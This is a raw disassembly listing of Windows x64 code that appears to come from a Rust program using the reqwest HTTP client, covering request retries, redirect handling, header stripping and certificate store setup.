sub r14, rcx
shr r14, 3
mov rdx, r14
call fcn.140142ea9
mov rcx, rdi
mov rdx, rbx
call fcn.140067169
mov cl, byte [rsp + 0xb23]
cmp cl, 4
je 0x140025017
call fcn.140143d4e
cmp al, 5
je 0x140029fff
mov byte [rsp + 0x4fc], al
mov cl, byte [rsp + 0xb24]
cmp cl, 4
je 0x140025037
call fcn.140143d4e
cmp al, 5
je 0x14002a008
mov byte [rsp + 0x4fd], al
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x150], rax
movups xmm0, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x140], xmm0
movdqu xmm0, xmmword [rsp + 0x4d0]
movdqu xmm1, xmmword [rsp + 0x4e0]
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x280], rax
mov eax, dword [rsp + 0x4f8]
mov dword [rsp + 0x288], eax
mov al, byte [rsp + 0x4fc]
mov byte [rsp + 0x28c], al
mov al, byte [rsp + 0x4fd]
mov byte [rsp + 0x28d], al
movzx eax, word [rsp + 0x4fe]
mov word [rsp + 0x28e], ax
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
mov rdi, qword [rsp + 0xdc0]
lock inc qword [rdi]
jle 0x140029ae0
movups xmm0, xmmword [0x140312d10]
lea rdx, [rsp + 0x810]
movaps xmmword [rdx + 0x10], xmm0
movdqu xmm0, xmmword [0x140312d00]
movdqa xmmword [rdx], xmm0
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.140070a89
lea rcx, [rsp + 0x750]
mov rdx, rax
call fcn.14013cecf
movzx ebp, byte [rsi + 0x182]
mov r12d, dword [rsi + 0x183]
mov rax, qword [rsi + 0x187]
mov qword [rsp + 0x7f0], rax
mov eax, dword [rsi + 0x18f]
mov dword [rsp + 0x7f8], eax
mov al, byte [rsi + 0x176]
mov byte [rsp + 0x58], al
mov al, byte [rsi + 0x17e]
mov byte [rsp + 0x68], al
mov qword [rsp + 0x1358], rdi
mov rsi, qword [rsp + 0x260]
test rsi, rsi
mov qword [rsp + 0x98], rdi
je 0x140025192
mov rcx, qword [rsp + 0x268]
call sub.crypt32.dll_CertDuplicateCertificateContext
mov qword [rsp + 0xb8], rax
mov eax, 1
mov qword [rsp + 0x50], rax
jmp 0x140025199
xor eax, eax
mov qword [rsp + 0x50], rax
and qword [rsp + 0x20], 0
mov ecx, 2
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.crypt32.dll_CertOpenStore
test rax, rax
je 0x140029eef
mov rdi, rax
mov r15, qword [rsp + 0x270]
mov r13, qword [rsp + 0x280]
shl r13, 3
xor ebx, ebx
cmp r13, rbx
je 0x1400251fe
mov rdx, qword [r15 + rbx]
mov rcx, rdi
call fcn.14014f30d
mov r14, rdx
test rax, rax
jne 0x1400299ed
mov rcx, r14
call fcn.1401b79cc
add rbx, 8
jmp 0x1400251d3
mov dword [rsp + 0x78], r12d
mov sil, byte [rsp + 0x28c]
mov r15b, byte [rsp + 0x28d]
mov r12b, byte [rsp + 0x28a]
mov r14b, byte [rsp + 0x288]
mov dl, byte [rsp + 0x289]
mov cl, byte [rsp + 0x28b]
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x1d0], rax
movaps xmm0, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x770]
mov qword [rsp + 0x11c0], rax
movups xmm0, xmmword [rsp + 0x750]
movups xmm1, xmmword [rsp + 0x760]
movaps xmmword [rsp + 0x11b0], xmm1
movaps xmmword [rsp + 0x11a0], xmm0
cmp ebp, 2
mov byte [rsp + 0x88], cl
mov byte [rsp + 0x80], dl
je 0x14002529c
test ebp, ebp
jne 0x1400252a2
mov bl, 1
jmp 0x14002529e
xor ebx, ebx
xor ebp, ebp
jmp 0x1400252c5
mov eax, dword [rsp + 0x7f8]
mov dword [rsp + 0x818], eax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x810], rax
mov bpl, 1
xor ebx, ebx
mov eax, dword [rsp + 0x818]
mov dword [rsp + 0x738], eax
mov rax, qword [rsp + 0x810]
mov qword [rsp + 0x730], rax
lea r13, [rsp + 0x1c0]
mov rcx, r13
call fcn.140135296
mov byte [rax + 0x51], bl
mov ecx, dword [rsp + 0x78]
mov dword [rax + 0x52], ecx
mov byte [rax + 0x56], bpl
mov dword [rax + 0x57], ecx
mov rcx, qword [rsp + 0x730]
mov qword [rax + 0x5b], rcx
mov ecx, dword [rsp + 0x738]
mov dword [rax + 0x63], ecx
mov rcx, r13
call fcn.140135296
xor ebp, ebp
mov byte [rax + 0x50], bpl
movaps xmm0, xmmword [r13]
movaps xmmword [rsp + 0x12a0], xmm0
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x12b0], rax
mov rax, qword [rsp + 0x11c0]
mov qword [rsp + 0x834], rax
movaps xmm0, xmmword [rsp + 0x11a0]
movdqa xmm1, xmmword [rsp + 0x11b0]
movdqu xmmword [rsp + 0x824], xmm1
movups xmmword [rsp + 0x814], xmm0
mov rax, qword [rsp + 0x82c]
mov qword [rsp + 0xfa0], rax
mov rax, qword [rsp + 0x834]
mov qword [rsp + 0xfa8], rax
movups xmm0, xmmword [rsp + 0x820]
movups xmmword [rsp + 0xf94], xmm0
movups xmm0, xmmword [rsp + 0x810]
movups xmmword [rsp + 0xf84], xmm0
lea rcx, [rsp + 0x260]
call fcn.140143d5c
mov qword [rsp + 0xf50], rdi
mov byte [rsp + 0xf58], r12b
mov al, byte [rsp + 0x80]
mov byte [rsp + 0xf59], al
mov byte [rsp + 0xf5a], r14b
mov al, byte [rsp + 0x88]
mov byte [rsp + 0xf5b], al
mov byte [rsp + 0xf5c], sil
mov byte [rsp + 0xf5d], r15b
movdqa xmm0, xmmword [rsp + 0x12a0]
movdqu xmmword [rsp + 0xf60], xmm0
mov rax, qword [rsp + 0x12b0]
mov qword [rsp + 0xf70], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xf40], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xf48], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xfb0], rax
mov al, byte [rsp + 0x68]
mov byte [rsp + 0xfb9], al
mov al, byte [rsp + 0x58]
mov byte [rsp + 0xfba], al
lea rcx, [rsp + 0x120]
call fcn.14010e2dd
mov word [rsp + 0x570], 0x101
mov byte [rsp + 0x572], bpl
and qword [rsp + 0x4d0], 0
mov rax, qword [rsp + 0xa20]
and qword [rsp + 0x4e0], 0
mov ecx, dword [rsp + 0xa28]
and qword [rsp + 0x4f0], 0
mov qword [rsp + 0x500], 0x14
and dword [rsp + 0x508], 0
mov dword [rsp + 0x518], 0x3b9aca00
mov qword [rsp + 0x520], 0x100000
movabs rdx, 0x20000000500000
mov qword [rsp + 0x528], rdx
mov dword [rsp + 0x530], 0x4000
and word [rsp + 0x534], 0
mov qword [rsp + 0xf78], rax
and qword [rsp + 0x538], 0
mov dword [rsp + 0xf80], ecx
and qword [rsp + 0x548], 0
mov word [rsp + 0x550], 0x200
or qword [rsp + 0x558], 0xffffffffffffffff
mov qword [rsp + 0x560], 0x5a
and dword [rsp + 0x568], 0
mov al, byte [rsp + 0xb02]
mov byte [rsp + 0xfb8], al
cmp byte [rsp + 0xb11], 1
jne 0x14002556b
mov byte [rsp + 0x572], 1
cmp dword [rsp + 0xa08], 0
je 0x14002558b
mov eax, dword [rsp + 0xa0c]
mov byte [rsp + 0x534], 0
mov dword [rsp + 0x52c], eax
cmp dword [rsp + 0xa10], 0
je 0x1400255ab
mov eax, dword [rsp + 0xa14]
mov byte [rsp + 0x534], 0
mov dword [rsp + 0x528], eax
cmp byte [rsp + 0xb0c], 0
je 0x1400255cf
mov byte [rsp + 0x534], 1
movabs rax, 0xffff0000ffff
mov qword [rsp + 0x528], rax
cmp dword [rsp + 0xa18], 0
je 0x1400255e7
mov eax, dword [rsp + 0xa1c]
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0xa68]
cmp eax, 0x3b9aca00
je 0x14002560c
mov rcx, qword [rsp + 0xa60]
mov qword [rsp + 0x510], rcx
mov dword [rsp + 0x518], eax
mov eax, dword [rsp + 0xa78]
cmp eax, 0x3b9aca00
je 0x140025631
mov rcx, qword [rsp + 0xa70]
mov qword [rsp + 0x500], rcx
mov dword [rsp + 0x508], eax
cmp byte [rsp + 0xb0d], 0
je 0x140025643
mov byte [rsp + 0x535], 1
mov r13, qword [rsp + 0xa30]
mov eax, dword [rsp + 0xa38]
mov qword [rsp + 0x560], r13
mov dword [rsp + 0x58], eax
mov dword [rsp + 0x568], eax
mov rax, qword [rsp + 0xae0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x558], rax
mov rsi, qword [rsp + 0xa40]
mov edi, dword [rsp + 0xa48]
lea rcx, [rsp + 0xf60]
call fcn.140135296
mov qword [rax + 0x40], rsi
mov dword [rax + 0x48], edi
cmp byte [rsp + 0xb07], 0
je 0x1400256af
lea rax, [rcx + 0x248]
mov qword [rsp + 0x118], rax
lea r13, [rsp + 0x260]
lea r14, [rsp + 0x990]
lea rbp, [rsp + 0xf40]
pxor xmm6, xmm6
movdqa xmm7, xmmword [0x14026a5f0]
lea r12, [rsp + 0xe20]
imul rax, qword [rsp + 0xb0], 0x138
mov r15, qword [rsp + 0xa8]
add rax, r15
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x98], r9
xor ebx, ebx
cmp r15, qword [rsp + 0xb8]
je 0x140029287
cmp dword [r15], 2
je 0x140029105
mov rcx, qword [r15 + 0x130]
test rcx, rcx
je 0x140027e76
mov rdx, qword [rsp + 0x1310]
call fcn.140192052
test al, al
je 0x14002915e
mov qword [rsp + 0x80], rbx
lea rax, [r15 + 8]
mov qword [rsp + 0x78], rax
lea rax, [r15 + 0x88]
mov qword [rsp + 0x50], rax
lea rax, [r15 + 0xe0]
mov qword [rsp + 0x60], rax
lea rbx, [r15 + 0x28]
lea rax, [r15 + 0xf8]
mov qword [rsp + 0x88], rax
mov rdx, qword [r15 + 0x118]
mov rax, qword [r15 + 0x120]
mov rcx, rbp
mov r8, qword [rsp + 0x1310]
call qword [rax + 0x18]
mov rbp, qword [rsp + 0xf40]
cmp rbp, 3
je 0x140027f59
cmp ebp, 4
je 0x140028e3a
mov r8d, 0xa0
mov rcx, r12
lea rdx, [rsp + 0xf40]
call sub.msvcrt.dll_memcpy
movzx eax, word [rsp + 0xe88]
lea ecx, [rax - 0x12d]
cmp ecx, 3
jae 0x1400280ba
cmp qword [r15], 0
lea rdi, [0x140312f00]
je 0x140027f29
mov rcx, qword [rsp + 0x78]
call fcn.1401176f4
and qword [r15], 0
xor esi, esi
cmp rsi, 0x80
je 0x140028081
lea r8, [rdi + rsi]
mov rcx, r14
mov rdx, rbx
call fcn.140082da2
mov rcx, r14
call fcn.140084f15
add rsi, 0x20
jmp 0x140027f2f
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0xf0], rax
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0x12a0], rcx
lea rcx, fcn.140108a48
mov qword [rsp + 0x12a8], rcx
mov rsi, qword [rax]
test rsi, rsi
je 0x140028dd5
mov rax, qword [rax + 8]
mov rcx, rsi
call qword [rax + 0x38]
movabs rcx, 0x138ed5f4ea8e8143
xor rdx, rcx
movabs rcx, 0xab19e944b31d188a
xor rax, rcx
or rax, rdx
jne 0x140028dd5
cmp byte [rsi], 1
jne 0x140028dd5
cmp byte [rsi + 1], 2
jne 0x140028dd5
mov rcx, rsi
call fcn.140075188
test eax, eax
je 0x140028dd5
test edx, edx
jne 0x140028dd5
mov rax, qword [0x14038d2f0]
cmp rax, 4
jbe 0x140028053
lea rax, [rsp + 0x12a0]
mov qword [rsp + 0x260], rax
lea rax, [0x14007a811]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x20], 1
mov r8d, 1
mov rcx, r14
lea rdx, str.can_retry
mov r9, r13
call fcn.14000db98
mov edx, 5
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x867
call fcn.14008c68e
cmp qword [r15], 0
lea rsi, [rsp + 0x140]
je 0x140028484
mov rdx, qword [rsp + 0x78]
cmp qword [rdx], 0
je 0x140028d7b
mov rcx, rsi
call fcn.14004ddaa
jmp 0x1400284ae
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
or eax, 4
cmp eax, 5
lea rdi, [rsp + 0x140]
je 0x1400280e1
mov rsi, qword [rsp + 0x60]
mov rcx, rsi
call fcn.140108853
movabs rax, 0x101010101010101
mov qword [rsi + 0x10], rax
movdqu xmmword [rsi], xmm7
jmp 0x1400280e1
add eax, 0xfffffecd
cmp eax, 2
lea rdi, [rsp + 0x140]
jae 0x140028d6e
cmp qword [r15], 0
je 0x1400280e1
cmp qword [r15 + 8], 0
je 0x140028d6e
movups xmm0, xmmword [0x140312f90]
movaps xmmword [rsp + 0x9a0], xmm0
movdqu xmm0, xmmword [0x140312f80]
movdqa xmmword [rsp + 0x990], xmm0
mov rcx, r12
mov rdx, r14
call fcn.140070a89
test rax, rax
je 0x140028cd4
mov qword [rsp + 0xf0], rax
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, r13
call fcn.140055380
cmp qword [rsp + 0x260], 0
jne 0x140028246
mov r8, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
movdqa xmmword [rsp + 0x260], xmm6
and qword [rsp + 0x270], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x280], rax
mov rcx, r14
mov rdx, r13
call fcn.140198811
mov ebp, dword [rsp + 0x990]
cmp ebp, 2
je 0x140028246
lea rcx, [rsp + 0x994]
mov rax, qword [rcx]
mov qword [rsp + 0x1c0], rax
mov eax, dword [rcx + 8]
mov dword [rsp + 0x1c8], eax
mov rsi, qword [rsp + 0x9a0]
mov rax, qword [rsp + 0x9a8]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x9b0]
movdqu xmm0, xmmword [rcx + 0x24]
movdqu xmm1, xmmword [rcx + 0x34]
movdqu xmm2, xmmword [rcx + 0x44]
movdqa xmmword [rsp + 0x4d0], xmm0
movdqa xmmword [rsp + 0x4e0], xmm1
movdqa xmmword [rsp + 0x4f0], xmm2
mov rcx, r14
mov rdx, rsi
mov qword [rsp + 0x90], r8
call fcn.14013cf7c
cmp byte [rsp + 0x990], 3
je 0x140028239
mov r12, rsi
mov ecx, 0xb
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x260], 3
jne 0x140028c53
lea rdi, [rsp + 0x140]
mov rsi, r12
lea r12, [rsp + 0xe20]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.1401371c1
mov rax, qword [0x14038d2f0]
mov ebp, 2
cmp rax, 4
jb 0x1400282b2
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x260], rax
lea rax, [0x14007aad7]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x20], 1
mov r8d, 1
mov rcx, r14
lea rdx, str.p01_
mov r9, r13
call fcn.14000db98
mov edx, 4
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x92d
call fcn.14008c68e
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x98]
mov dword [rsp + 0x12a0], ebp
mov eax, dword [rsp + 0x148]
lea rcx, [rsp + 0x12a4]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x140]
mov qword [rcx], rax
mov qword [rsp + 0x12b0], rdx
mov qword [rsp + 0x12b8], r8
mov qword [rsp + 0x12c0], r9
movdqa xmm0, xmmword [rsp + 0xf40]
movdqa xmm1, xmmword [rsp + 0xf50]
movdqa xmm2, xmmword [rsp + 0xf60]
movdqu xmmword [rcx + 0x44], xmm2
movdqu xmmword [rcx + 0x34], xmm1
movdqu xmmword [rcx + 0x24], xmm0
cmp ebp, 2
je 0x140028ce6
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x70], r8
mov qword [rsp + 0x68], rdx
mov ecx, 0xb
lea rsi, [rsp + 0x12a0]
rep movsq qword [rdi], qword [rsi]
mov rax, qword [r15 + 0x110]
cmp byte [rax + 0x1b8], 0
lea rbp, [rsp + 0xf40]
je 0x14002870a
lea rcx, [rsp + 0x12a0]
call fcn.140109e2a
mov r9d, 4
mov rcx, rax
lea r8, [0x140344a33]
call fcn.1401a2d3f
test al, al
je 0x1400283be
mov rcx, qword [rsp + 0x50]
call fcn.140109e2a
mov r9d, 5
mov rcx, rax
lea r8, [0x140344a37]
call fcn.1401a2d3f
test al, al
jne 0x14002870a
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140146035
mov rcx, r14
call fcn.14019ce3d
mov rcx, r14
call fcn.14019d060
cmp dword [rsp + 0x998], 0
je 0x1400283f9
mov edx, dword [rsp + 0x99c]
lea rcx, [rsp + 0x9a0]
call fcn.14019c7e3
and dword [rsp + 0x998], 0
mov rcx, r14
call fcn.140197013
test al, al
je 0x140028600
cmp dword [rsp + 0x998], 0
jne 0x140028600
cmp dword [rsp + 0x990], 0
jne 0x140028600
mov rax, qword [rsp + 0x9a0]
mov rsi, qword [rsp + 0x9b0]
mov qword [rsp + 0x260], rax
add rax, rsi
mov qword [rsp + 0x268], rax
mov byte [rsp + 0x270], 0
xor edi, edi
mov rcx, r13
call fcn.1401a2c0e
test eax, eax
je 0x1400285ed
cmp edx, 0x110000
je 0x1400285ed
cmp edx, 0x20
jne 0x1400285ed
inc rdi
jmp 0x14002845a
lea rax, [rsp + 0x150]
movdqu xmmword [rax], xmm6
lea rax, [0x140310138]
mov qword [rsp + 0x140], rax
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rsp + 0x148], rax
mov rax, qword [r15 + 0x128]
cmp rax, 1
ja 0x140028d0a
inc rax
mov qword [r15 + 0x128], rax
mov rdx, qword [r15 + 0x98]
mov r8, qword [r15 + 0xa8]
lea rsi, [rsp + 0x1c0]
mov rcx, rsi
call fcn.140145ba4
mov rcx, r14
call fcn.14007eb0f
lea rdi, [rsp + 0x4d0]
mov rcx, rdi
mov rdx, qword [rsp + 0x60]
call fcn.140145c0b
mov rcx, r13
mov rdx, r14
mov r8, rdi
call fcn.140070f48
mov rcx, rdi
mov rdx, r13
mov r8, rsi
call fcn.14013d4cb
movdqu xmm0, xmmword [rsp + 0x140]
movdqu xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x270], xmm1
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rdi
mov r8, r13
call fcn.14013d5fa
mov rcx, r13
mov rdx, r14
lea r8, str._usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_impl_client.rstrust_dns_shouldnt_be_enabled_unless_the_feature_is
call fcn.140145c98
mov rcx, r14
mov rdx, rbx
call fcn.140145cde
mov rcx, r13
call fcn.140108896
mov ecx, 0xc
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rsi, qword [r15 + 0x110]
add rsi, 0x10
mov r8d, 0x100
mov rcx, r14
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rcx, rsi
mov rdx, r14
call fcn.14014295b
mov rsi, rax
mov rdi, rdx
mov rcx, qword [r15 + 0x118]
mov rdx, qword [r15 + 0x120]
call fcn.1401460b2
mov qword [r15 + 0x118], rsi
mov qword [r15 + 0x120], rdi
lea rcx, [rsp + 0xf0]
call fcn.140108a48
lea rbp, [rsp + 0xf40]
jmp 0x140027eb2
sub rsi, rdi
lea rcx, [rsp + 0x9a0]
mov rdx, rsi
call fcn.14019c7e3
mov rdx, qword [rsp + 0x9a0]
mov r8, qword [rsp + 0x9b0]
mov rcx, r13
call fcn.14013cee6
mov al, byte [rsp + 0x280]
mov sil, 2
cmp al, 2
je 0x140028668
movdqu xmm0, xmmword [rsp + 0x260]
movdqu xmm1, xmmword [rsp + 0x270]
movdqa xmmword [rsp + 0x4e0], xmm1
movdqa xmmword [rsp + 0x4d0], xmm0
lea rdx, [rsp + 0x270]
mov ecx, dword [rdx + 0x11]
mov edx, dword [rdx + 0x14]
mov dword [rsp + 0xf40], ecx
mov dword [rsp + 0xf43], edx
mov esi, eax
mov rcx, qword [rsp + 0x9a0]
mov rdx, qword [rsp + 0x9a8]
call fcn.1401371c1
cmp sil, 2
je 0x14002870a
movaps xmm0, xmmword [rsp + 0x4d0]
movdqa xmm1, xmmword [rsp + 0x4e0]
movdqa xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
mov byte [rsp + 0x240], sil
mov eax, dword [rsp + 0xf40]
mov ecx, dword [rsp + 0xf43]
lea rdx, [rsp + 0x241]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movups xmm0, xmmword [0x140312fb0]
movaps xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x140312fa0]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rbx
mov r8, r13
lea r9, [rsp + 0x220]
call fcn.140082ac1
mov rcx, r14
call fcn.140084f15
mov rcx, r14
mov rdx, qword [rsp + 0x50]
call fcn.140146035
mov rdx, qword [r15 + 0x108]
cmp rdx, qword [r15 + 0x100]
jne 0x14002873b
mov rcx, qword [rsp + 0x88]
call fcn.14013d958
mov rdx, qword [r15 + 0x108]
imul rdi, rdx, 0x58
add rdi, qword [r15 + 0xf8]
mov ecx, 0xb
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rax, qword [r15 + 0x108]
inc rax
mov qword [r15 + 0x108], rax
mov rcx, qword [r15 + 0x110]
mov rdx, qword [rcx + 0x188]
test rdx, rdx
je 0x14002879e
cmp edx, 1
lea rsi, [rsp + 0x140]
jne 0x140028e47
cmp rax, qword [rcx + 0x190]
jae 0x14002905d
and qword [rsp + 0xf0], 0
jmp 0x140028804
mov rdx, qword [r15 + 0xf8]
movzx r8d, word [rsp + 0xe88]
lea rsi, [rsp + 0x140]
mov qword [rsp + 0x990], rsi
mov qword [rsp + 0x998], rdx
mov qword [rsp + 0x9a0], rax
mov word [rsp + 0x9a8], r8w
mov rdx, qword [rcx + 0x190]
mov rax, qword [rcx + 0x198]
lea rcx, [rsp + 0xf0]
mov r8, r14
call qword [rax + 0x28]
mov rax, qword [rsp + 0xf0]
test rax, rax
jne 0x140028cf3
mov rax, qword [0x14038d2f0]
cmp rax, 3
jbe 0x140028878
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x260], rax
lea rax, [0x140146081]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x278], rax
mov qword [rsp + 0x20], 2
mov r8d, 3
mov rcx, r14
lea rdx, str.redirecting__to_
mov r9, r13
call fcn.14000db98
mov edx, 4
mov rcx, r14
lea r8, str.reqwest::async_impl::client
mov r9d, 0x940
call fcn.14008c68e
mov rax, qword [r15 + 0x110]
cmp byte [rax + 0x1ba], 0
je 0x1400288ad
mov rcx, rsi
call fcn.140109e2a
mov r9d, 5
mov rcx, rax
lea r8, [0x140344a37]
call fcn.140145b94
test al, al
jne 0x14002900d
mov ecx, 0xb
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [r15 + 0x98]
mov rdx, qword [r15 + 0xa0]
call fcn.1401371c1
mov ecx, 0xb
mov rdi, qword [rsp + 0x50]
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.14007ba41
mov ecx, 0xc
mov rdi, rbp
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
mov ecx, 0xc
mov rdi, rbx
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov rax, qword [r15 + 0x108]
sub rax, 1
jb 0x140028a78
imul rsi, rax, 0x58
add rsi, qword [r15 + 0xf8]
mov rcx, qword [rsp + 0x50]
call fcn.14019cd52
mov rdi, rax
mov rbp, rdx
mov rcx, rsi
call fcn.14019cd52
mov r9, rdx
mov rcx, rdi
mov rdx, rbp
lea rbp, [rsp + 0xf40]
mov r8, rax
call fcn.140010d94
test al, al
je 0x140028986
mov rcx, qword [rsp + 0x50]
call fcn.14014608a
mov edi, eax
mov ebp, edx
mov rcx, rsi
call fcn.14014608a
test di, di
je 0x140028975
test ax, ax
je 0x140028975
cmp bp, dx
jmp 0x140028978
or ax, di
lea rbp, [rsp + 0xf40]
je 0x140028a78
movups xmm0, xmmword [0x140313200]
movaps xmmword [rsp + 0x270], xmm0
movups xmm0, xmmword [0x1403131f0]
movaps xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rbp
mov r8, r13
call fcn.1400831e6
mov rcx, r14
call fcn.140084f15
movups xmm0, xmmword [0x1403143a0]
movaps xmmword [rsp + 0x270], xmm0
movups xmm0, xmmword [0x140314390]
movaps xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rbp
mov r8, r13
call fcn.1400831e6
mov rcx, r14
call fcn.140084f15
mov r9d, 7
mov rcx, r14
mov rdx, rbp
lea r8, str.cookie2
call fcn.14008312d
mov rcx, r14
call fcn.140084f15
movups xmm0, xmmword [0x140312dc0]
movaps xmmword [rsp + 0x270], xmm0
movups xmm0, xmmword [0x140312db0]
movaps xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rbp
mov r8, r13
call fcn.1400831e6
mov rcx, r14
call fcn.140084f15
movups xmm0, xmmword [0x1403143c8]
movaps xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x1403143b8]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r14
mov rdx, rbp
mov r8, r13
call fcn.1400831e6
mov rcx, r14
call fcn.140084f15
mov rdx, qword [r15 + 0x98]
mov r8, qword [r15 + 0xa8]
lea rcx, [rsp + 0x1c0]
call fcn.140145ba4
cmp qword [r15], 0
je 0x140028ad4
cmp qword [r15 + 8], 0
je 0x140028ad4
mov rcx, r14
mov rdx, qword [rsp + 0x78]
call fcn.14004ddaa
mov rsi, qword [rsp + 0x990]
mov rdi, qword [rsp + 0x998]
lea rax, [rsp + 0x9a0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x730], xmm0
jmp 0x140028aeb
movdqa xmmword [rsp + 0x730], xmm6
lea rsi, [0x140310138]
lea rdi, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov rcx, r14
call fcn.14007eb0f
lea r12, [rsp + 0x4d0]
mov rcx, r12
mov rdx, qword [rsp + 0x60]
call fcn.140145c0b
mov rcx, r13
mov rdx, r14
mov r8, r12
call fcn.140070f48
mov rcx, r14
lea rdx, [rsp + 0x1c0]
call fcn.1401411d5
mov rcx, r12
mov rdx, r13
mov r8, r14
call fcn.14013d4cb
movdqa xmm0, xmmword [rsp + 0x730]
lea rax, [rsp + 0x270]
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x260], rsi
mov qword [rsp + 0x268], rdi
mov rcx, r14
mov rdx, r12
mov r8, r13
call fcn.14013d5fa
mov rcx, r13
mov rdx, r14
lea r8, str.8_1_
call fcn.140145c98
mov rcx, r14
mov rdx, rbp
call fcn.140145cde
mov rcx, r13
call fcn.140108896
mov ecx, 0xc
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
xor eax, eax
lea r12, [rsp + 0xe20]
cmp rax, 0xc
je 0x140028bc9
mov rcx, qword [r15 + rax*8 + 0x28]
mov rdx, qword [rsp + rax*8 + 0xf40]
mov qword [r15 + rax*8 + 0x28], rdx
mov qword [rsp + rax*8 + 0xf40], rcx
inc rax
jmp 0x140028ba4
mov rsi, qword [r15 + 0x110]
add rsi, 0x10
mov r8d, 0x100
mov rcx, r14
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rcx, rsi
mov rdx, r14
call fcn.14014295b
mov rsi, rax
mov rdi, rdx
mov rcx, qword [r15 + 0x118]
mov rdx, qword [r15 + 0x120]
call fcn.1401460b2
mov qword [r15 + 0x118], rsi
mov qword [r15 + 0x120], rdi
lea rcx, [rsp + 0x1c0]
call fcn.140108869
mov rcx, rbp
call fcn.140108896
mov rcx, r12
call fcn.140108a2a
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
jmp 0x140027eb2
mov rcx, r13
call fcn.140108869
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x140], rax
mov eax, dword [rsp + 0x1c8]
mov dword [rsp + 0x148], eax
movdqa xmm0, xmmword [rsp + 0x4d0]
movdqa xmm1, xmmword [rsp + 0x4e0]
movdqa xmm2, xmmword [rsp + 0x4f0]
movdqa xmmword [rsp + 0xf40], xmm0
movdqa xmmword [rsp + 0xf50], xmm1
movdqa xmmword [rsp + 0xf60], xmm2
lea rdi, [rsp + 0x140]
mov rdx, r12
lea r12, [rsp + 0xe20]
mov r8, qword [rsp + 0x70]
mov r9, qword [rsp + 0x90]
jmp 0x1400282c4
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x80]
jmp 0x140028ee1
cmp rax, 1
mov rbx, qword [rsp + 0x80]
je 0x140028e5b
jmp 0x140029099
mov rax, qword [0x14038d2f0]
cmp rax, 4
jbe 0x140028d64
lea rax, str.retry_count_too_high
mov qword [rsp + 0x990], rax
mov qword [rsp + 0x998], 1
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_fmtmod.rs
mov qword [rsp + 0x9a0], rax
movdqu xmmword [rsp + 0x9a8], xmm6
